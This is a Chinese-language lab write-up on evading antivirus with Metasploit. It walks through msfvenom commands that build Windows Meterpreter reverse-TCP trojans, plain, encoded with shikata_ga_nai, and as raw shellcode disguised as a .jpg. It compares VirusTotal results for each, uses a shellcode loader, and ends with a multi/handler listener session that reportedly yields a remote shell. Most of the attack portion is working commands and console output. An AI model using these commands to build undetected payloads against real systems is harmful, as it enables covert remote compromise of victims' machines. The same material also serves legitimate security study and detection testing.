MSF编码器结合shellcode加载器进行免杀实验

1 实验环境

软件名称版本IP
kali6.0.0-kali3-amd64172.31.5.9

2 利用MSF实现免杀

免杀技术简介: 免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

2.1 没有免杀的情况

直接生成一个木马文件5555.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.31.5.7 lport=5555 -f exe -o 5555.exe

将此文件拷贝到windows机器(开启防火墙),会被发现并处理

image-20230407212404546

将此木马文件上传到在线检测平台,观察到检测结果如下:

https://www.virustotal.com/gui/home/upload

image-20230407213700175

2.2 启用MSF自带免杀功能

Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。

生成一个重新编码后的免杀程序6666.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.31.5.7 lport=5555 x86/shikata_ga_nai -i 20 -f exe -o 6666.exe

将文件拷贝至windows后,并没有被防火墙检测到。再次上传到在线检测平台 https://www.virustotal.com/gui/home/upload

可以观察到免杀后比没有免杀前的效果更差了(实际上是因为各个防火墙已经升级了对这种免杀技术的检测和防护,因此免杀后实际上是增加了“我就是木马文件”的特征,更容易被检测到)

image-20230407215537695

2.3 利用shellcode加载器进行免杀

在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

参考链接:简述获取shellcode的几种方式 - FreeBuf网络安全行业门户

生成一个shellcode文件crowsec.jpg

msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=172.31.5.9 lport=7777 -f raw -o crowsec.jpg

可以被windows防火墙检测到

image-20230407222201081

将此文件上传进行检测 https://www.virustotal.com/gui/home/upload

被检测到的结果少了许多,免杀有一定效果

image-20230407222406085

shellcode加载器(本次实验命名为ms.exe) 本身也算一个木马程序,将ms.exe上传检测结果如下:

image-20230407225523724

2.4 免杀木马利用

启动msf监听程序

┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.31.5.9
lhost => 172.31.5.9
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.31.5.9:7777 

将加载器ms.exe和上文生成的木马文件防止在同一目录下(IP:172.31.5.1):

image-20230407230230531

双击ms.exe,观察到成功获取远程机器的命令窗口

image-20230407231539378